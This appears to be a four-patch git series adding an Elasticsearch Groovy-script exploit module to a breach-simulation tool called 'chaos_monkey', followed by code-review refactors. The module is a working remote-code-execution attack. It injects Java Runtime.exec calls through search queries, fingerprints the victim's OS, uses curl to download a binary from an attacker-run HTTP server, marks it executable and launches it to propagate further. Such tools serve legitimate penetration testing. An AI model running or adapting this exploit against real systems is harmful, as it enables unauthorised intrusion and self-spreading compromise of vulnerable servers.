From 6708e623fcf128b36561d11467803b7ed5a5e62f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 26 Sep 2017 15:43:46 +0300 Subject: [PATCH 1/4] Added Elastic attack --- chaos_monkey/config.py | 3 +- chaos_monkey/example.conf | 4 +- chaos_monkey/exploit/__init__.py | 2 + chaos_monkey/exploit/elasticgroovy.py | 221 ++++++++++++++++++++++++++ 4 files changed, 228 insertions(+), 2 deletions(-) create mode 100644 chaos_monkey/exploit/elasticgroovy.py diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b9d250cd8..1bdd41dd1 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -6,7 +6,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter + SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange @@ -145,6 +145,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux + ElasticGroovyExploiter, # multi ] # how many victims to look for in a single scan iteration diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 3db576ad3..05a6e2aa8 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -33,7 +33,9 @@ "WmiExploiter", "RdpExploiter", "Ms08_067_Exploiter", - "ShellShockExploiter" + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter", ], "finger_classes": [ "SSHFinger", diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 1b12afd2f..a5b23ec1c 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -14,6 +14,7 @@ class HostExploiter(object): def exploit_host(self, host, depth=-1, src_path=None): raise NotImplementedError() + from win_ms08_067 import Ms08_067_Exploiter from wmiexec import WmiExploiter from smbexec import SmbExploiter @@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter +from elasticgroovy import ElasticGroovyExploiter diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py new file mode 100644 index 000000000..1e8e91b6d --- /dev/null +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -0,0 +1,221 @@ +""" + Implementation is based on elastic search groovy exploit by metasploit + https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb +""" + +import json +import logging + +import requests + +from exploit import HostExploiter +from model import MONKEY_ARG +from model.host import VictimHost +from network.elasticfinger import ES_SERVICE, ES_PORT +from tools import get_target_monkey, HTTPTools, build_monkey_commandline + +__author__ = 'danielg' + +LOG = logging.getLogger(__name__) +TIMEOUT = 2 +DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder +VULNERABLE_VERSION = "1.4.2" + + +class ElasticGroovyExploiter(HostExploiter): + _target_os_type = ['linux', 'windows'] + BASE_URL = 'http://%s:%s/_search?pretty' + GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}''' + JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' + JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' + JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' + JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' + + def __init__(self): + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + self.host = None + + def is_os_supported(self, host): + """ + Checks if the host is vulnerable. + Either using version string or by trying to attack + :param host: VictimHost + :return: + """ + if host.os.get('type') in self._target_os_type: + return True + + if ES_SERVICE not in host.services: + LOG.info("Host: %s doesn't have ES open" % host.ip_addr) + return False + major, minor, build = host.services[ES_SERVICE]['version'].split('.') + if major > 1: + return False + if major == 1 and minor > 4: + return False + if major == 1 and minor == 4 and build > 2: + return False + return self.is_vulnerable(host) + + def exploit_host(self, host, depth=-1, src_path=None): + assert isinstance(host, VictimHost) + self.host = host + + real_host_os = self.get_host_os() + host.os['type'] = str(real_host_os.lower()) # strip unicode characters + if 'linux' in host.os['type']: + return self.exploit_host_linux(host, depth, src_path) + else: + return self.exploit_host_windows(host, depth, src_path) + + def exploit_host_windows(self, host, depth=-1, src_path=None): + """ + TODO + Will exploit windows similar to smbexec + :param host: + :param depth: + :param src_path: + :return: + """ + return False + + def exploit_host_linux(self, host, depth=-1, src_path=None): + """ + Exploits linux using similar flow to sshexec and shellshock. + Meaning run remote commands to copy files over HTTP + :param host: + :param depth: + :param src_path: + :return: + """ + uname_machine = self.get_linux_arch() + if '' != uname_machine: + host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters + dropper_target_path_linux = self._config.dropper_target_path_linux + if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + LOG.info("Host %s was already infected under the current configuration, done" % host) + return True # return already infected + src_path = src_path or get_target_monkey(host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + + http_path, http_thread = HTTPTools.create_transfer(host, src_path) + + if not http_path: + LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) + return False + + download_command = '/usr/bin/curl %s -o %s' % ( + http_path, dropper_target_path_linux) + self.run_shell_command(download_command) + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + if (http_thread.downloads != 1) or ( + 'ELF' not in + self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) + return False + chmod = '/bin/chmod +x %s' % dropper_target_path_linux + self.run_shell_command(chmod) + cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) + cmdline += build_monkey_commandline(host, depth - 1) + ' & ' + self.run_shell_command(cmdline) + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, host, cmdline) + if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + LOG.info("Log file does not exist, monkey might not have run") + return True + + def check_if_remote_file_exists_linux(self, file_path): + """ + :param file_path: + :return: + """ + cmdline = '/usr/bin/head -c 4 %s' % file_path + return self.run_shell_command(cmdline) + + def run_shell_command(self, command): + """ + Runs a single shell command and returns the result. + :param command: + :return: + """ + payload = self.JAVA_CMD % command + return self.get_command_result(payload) + + def get_linux_arch(self): + """ + Returns host as per uname -m + :return: + """ + return self.get_command_result(self.JAVA_GET_BIT_LINUX) + + def get_host_tempdir(self): + """ + Returns where to write our file given our permissions + :return: Temp directory path in target host + """ + return self.get_command_result(self.JAVA_GET_TMP_DIR) + + def get_host_os(self): + """ + :return: target OS + """ + return self.get_command_result(self.JAVA_GET_OS) + + def is_vulnerable(self, host): + """ + Checks if a given elasticsearch host is vulnerable to the groovy attack + :param host: Host, with an open 9200 port + :return: True/False + """ + self.host = host + result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) + return 'java.lang.Runtime' in result_text + + def get_command_result(self, payload): + """ + Gets the result of an attack payload with a single return value. + :param payload: Payload that fits the GENERIC_QUERY template. + :return: + """ + result = self.attack_query(payload) + if not result: # not vulnerable + return False + if 1 != len(result): # weird + return None + return result[0] + + @property + def attack_url(self): + """ + Composes the URL to attack per host IP and port. + :return: + """ + return self.BASE_URL % (self.host.ip_addr, ES_PORT) + + def attack_query(self, payload): + """ + Wraps the requests query and the JSON parsing. + Just reduce opportunity for bugs + :param payload: + :return: List of data fields or None + """ + response = requests.get(self.attack_url, data=payload) + result = self.get_results(response) + return result + + @staticmethod + def get_results(response): + """ + Extracts the result data from our attack + :return: List of data fields or None + """ + try: + json_resp = json.loads(response.text) + return json_resp['hits']['hits'][0]['fields']['monkey_result'] + except KeyError: + return None From 798b2a87944fc536c8ece93a4fee425f71b7457f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 26 Sep 2017 15:45:43 +0300 Subject: [PATCH 2/4] Add Elastic Exploit to the UI --- monkey_island/cc/services/config.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 6f6071aa3..5fe2e4e88 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -62,7 +62,14 @@ SCHEMA = { "SambaCryExploiter" ], "title": "SambaCryExploiter" - } + }, + { + "type": "string", + "enum": [ + "ElasticGroovyExploiter" + ], + "title": "ElasticGroovyExploiter" + }, ] }, "finger_classes": { @@ -320,7 +327,8 @@ SCHEMA = { "Ms08_067_Exploiter", "SSHExploiter", "ShellShockExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "ElasticGroovyExploiter" ], "description": "Determines which classes to use for exploiting" } From 5e8288e2115545165e653f880d3a55770e72cb05 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 26 Sep 2017 18:16:20 +0300 Subject: [PATCH 3/4] Fixed CR notes in https://github.com/guardicore/monkey/pull/51#pullrequestreview-65212211 --- chaos_monkey/exploit/elasticgroovy.py | 143 ++++++++++++++------------ 1 file changed, 77 insertions(+), 66 deletions(-) diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py index 1e8e91b6d..59765d4a9 100644 --- a/chaos_monkey/exploit/elasticgroovy.py +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -1,6 +1,7 @@ """ Implementation is based on elastic search groovy exploit by metasploit https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb + Max vulnerable elasticsearch version is "1.4.2" """ import json @@ -17,25 +18,26 @@ from tools import get_target_monkey, HTTPTools, build_monkey_commandline __author__ = 'danielg' LOG = logging.getLogger(__name__) -TIMEOUT = 2 -DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder -VULNERABLE_VERSION = "1.4.2" class ElasticGroovyExploiter(HostExploiter): _target_os_type = ['linux', 'windows'] + + # attack URLs BASE_URL = 'http://%s:%s/_search?pretty' - GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}''' + MONKEY_RESULT_FIELD = "monkey_result" + GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' + DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder + def __init__(self): self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist - self.host = None def is_os_supported(self, host): """ @@ -44,8 +46,8 @@ class ElasticGroovyExploiter(HostExploiter): :param host: VictimHost :return: """ - if host.os.get('type') in self._target_os_type: - return True + if host.os.get('type') not in self._target_os_type: + return False if ES_SERVICE not in host.services: LOG.info("Host: %s doesn't have ES open" % host.ip_addr) @@ -61,9 +63,8 @@ class ElasticGroovyExploiter(HostExploiter): def exploit_host(self, host, depth=-1, src_path=None): assert isinstance(host, VictimHost) - self.host = host - real_host_os = self.get_host_os() + real_host_os = self.get_host_os(host) host.os['type'] = str(real_host_os.lower()) # strip unicode characters if 'linux' in host.os['type']: return self.exploit_host_linux(host, depth, src_path) @@ -74,9 +75,6 @@ class ElasticGroovyExploiter(HostExploiter): """ TODO Will exploit windows similar to smbexec - :param host: - :param depth: - :param src_path: :return: """ return False @@ -85,16 +83,13 @@ class ElasticGroovyExploiter(HostExploiter): """ Exploits linux using similar flow to sshexec and shellshock. Meaning run remote commands to copy files over HTTP - :param host: - :param depth: - :param src_path: :return: """ - uname_machine = self.get_linux_arch() - if '' != uname_machine: + uname_machine = str(self.get_linux_arch(host)) + if len(uname_machine) != 0: host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)): LOG.info("Host %s was already infected under the current configuration, done" % host) return True # return already infected src_path = src_path or get_target_monkey(host) @@ -102,69 +97,88 @@ class ElasticGroovyExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - http_path, http_thread = HTTPTools.create_transfer(host, src_path) - - if not http_path: - LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) + if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux): return False - download_command = '/usr/bin/curl %s -o %s' % ( - http_path, dropper_target_path_linux) - self.run_shell_command(download_command) - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - if (http_thread.downloads != 1) or ( - 'ELF' not in - self.check_if_remote_file_exists_linux(dropper_target_path_linux)): - LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) - return False - chmod = '/bin/chmod +x %s' % dropper_target_path_linux - self.run_shell_command(chmod) + self.set_file_executable_linux(host, dropper_target_path_linux) cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(host, depth - 1) + ' & ' - self.run_shell_command(cmdline) + self.run_shell_command(host, cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") return True - def check_if_remote_file_exists_linux(self, file_path): + def download_file_in_linux(self, host, src_path, target_path): + """ + Downloads a file in target machine using curl to the given target path + :param host: + :param src_path: File path relative to the monkey + :param target_path: Target path in linux victim + :return: T/F + """ + http_path, http_thread = HTTPTools.create_transfer(host, src_path) + if not http_path: + LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) + return False + download_command = '/usr/bin/curl %s -o %s' % ( + http_path, target_path) + self.run_shell_command(host, download_command) + http_thread.join(self.DOWNLOAD_TIMEOUT) + http_thread.stop() + if (http_thread.downloads != 1) or ( + 'ELF' not in + self.check_if_remote_file_exists_linux(host, target_path)): + LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) + return False + return True + + def set_file_executable_linux(self, host, file_path): + """ + Marks the given file as executable using chmod + :return: Nothing + """ + chmod = '/bin/chmod +x %s' % file_path + self.run_shell_command(host, chmod) + LOG.info("Marked file %s on host %s as executable", file_path, host) + + def check_if_remote_file_exists_linux(self, host, file_path): """ - :param file_path: :return: """ cmdline = '/usr/bin/head -c 4 %s' % file_path - return self.run_shell_command(cmdline) + return self.run_shell_command(host, cmdline) - def run_shell_command(self, command): + def run_shell_command(self, host, command): """ Runs a single shell command and returns the result. - :param command: :return: """ payload = self.JAVA_CMD % command - return self.get_command_result(payload) + result = self.get_command_result(host, payload) + LOG.info("Ran the command %s on host %s", command, payload) + return result - def get_linux_arch(self): + def get_linux_arch(self, host): """ Returns host as per uname -m :return: """ - return self.get_command_result(self.JAVA_GET_BIT_LINUX) + return self.get_command_result(host, self.JAVA_GET_BIT_LINUX) - def get_host_tempdir(self): + def get_host_tempdir(self, host): """ Returns where to write our file given our permissions :return: Temp directory path in target host """ - return self.get_command_result(self.JAVA_GET_TMP_DIR) + return self.get_command_result(host, self.JAVA_GET_TMP_DIR) - def get_host_os(self): + def get_host_os(self, host): """ :return: target OS """ - return self.get_command_result(self.JAVA_GET_OS) + return self.get_command_result(host, self.JAVA_GET_OS) def is_vulnerable(self, host): """ @@ -172,50 +186,47 @@ class ElasticGroovyExploiter(HostExploiter): :param host: Host, with an open 9200 port :return: True/False """ - self.host = host - result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) + result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE) return 'java.lang.Runtime' in result_text - def get_command_result(self, payload): + def get_command_result(self, host, payload): """ Gets the result of an attack payload with a single return value. + :param host: VictimHost configuration :param payload: Payload that fits the GENERIC_QUERY template. :return: """ - result = self.attack_query(payload) + result = self.attack_query(host, payload) if not result: # not vulnerable return False if 1 != len(result): # weird return None return result[0] - @property - def attack_url(self): - """ - Composes the URL to attack per host IP and port. - :return: - """ - return self.BASE_URL % (self.host.ip_addr, ES_PORT) - - def attack_query(self, payload): + def attack_query(self, host, payload): """ Wraps the requests query and the JSON parsing. Just reduce opportunity for bugs - :param payload: :return: List of data fields or None """ - response = requests.get(self.attack_url, data=payload) + response = requests.get(self.attack_url(host), data=payload) result = self.get_results(response) return result - @staticmethod - def get_results(response): + def attack_url(self, host): + """ + Composes the URL to attack per host IP and port. + :return: Elasticsearch vulnerable URL + """ + return self.BASE_URL % (host.ip_addr, ES_PORT) + + def get_results(self, response): """ Extracts the result data from our attack :return: List of data fields or None """ try: json_resp = json.loads(response.text) - return json_resp['hits']['hits'][0]['fields']['monkey_result'] + return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except KeyError: return None From 6b7f67933d87ac5a7e45e47e4108335786e647bf Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 27 Sep 2017 14:38:44 +0300 Subject: [PATCH 4/4] Finish fixing CR notes. --- chaos_monkey/exploit/elasticgroovy.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py index 59765d4a9..ed110e999 100644 --- a/chaos_monkey/exploit/elasticgroovy.py +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -101,6 +101,16 @@ class ElasticGroovyExploiter(HostExploiter): return False self.set_file_executable_linux(host, dropper_target_path_linux) + self.run_monkey_linux(host, dropper_target_path_linux, depth) + + if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): + LOG.info("Log file does not exist, monkey might not have run") + return True + + def run_monkey_linux(self, host, dropper_target_path_linux, depth): + """ + Runs the monkey + """ cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(host, depth - 1) + ' & ' self.run_shell_command(host, cmdline) @@ -108,7 +118,6 @@ class ElasticGroovyExploiter(HostExploiter): self._config.dropper_target_path_linux, host, cmdline) if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") - return True def download_file_in_linux(self, host, src_path, target_path): """ @@ -153,7 +162,6 @@ class ElasticGroovyExploiter(HostExploiter): def run_shell_command(self, host, command): """ Runs a single shell command and returns the result. - :return: """ payload = self.JAVA_CMD % command result = self.get_command_result(host, payload) @@ -163,7 +171,6 @@ class ElasticGroovyExploiter(HostExploiter): def get_linux_arch(self, host): """ Returns host as per uname -m - :return: """ return self.get_command_result(host, self.JAVA_GET_BIT_LINUX) @@ -194,13 +201,10 @@ class ElasticGroovyExploiter(HostExploiter): Gets the result of an attack payload with a single return value. :param host: VictimHost configuration :param payload: Payload that fits the GENERIC_QUERY template. - :return: """ result = self.attack_query(host, payload) if not result: # not vulnerable return False - if 1 != len(result): # weird - return None return result[0] def attack_query(self, host, payload):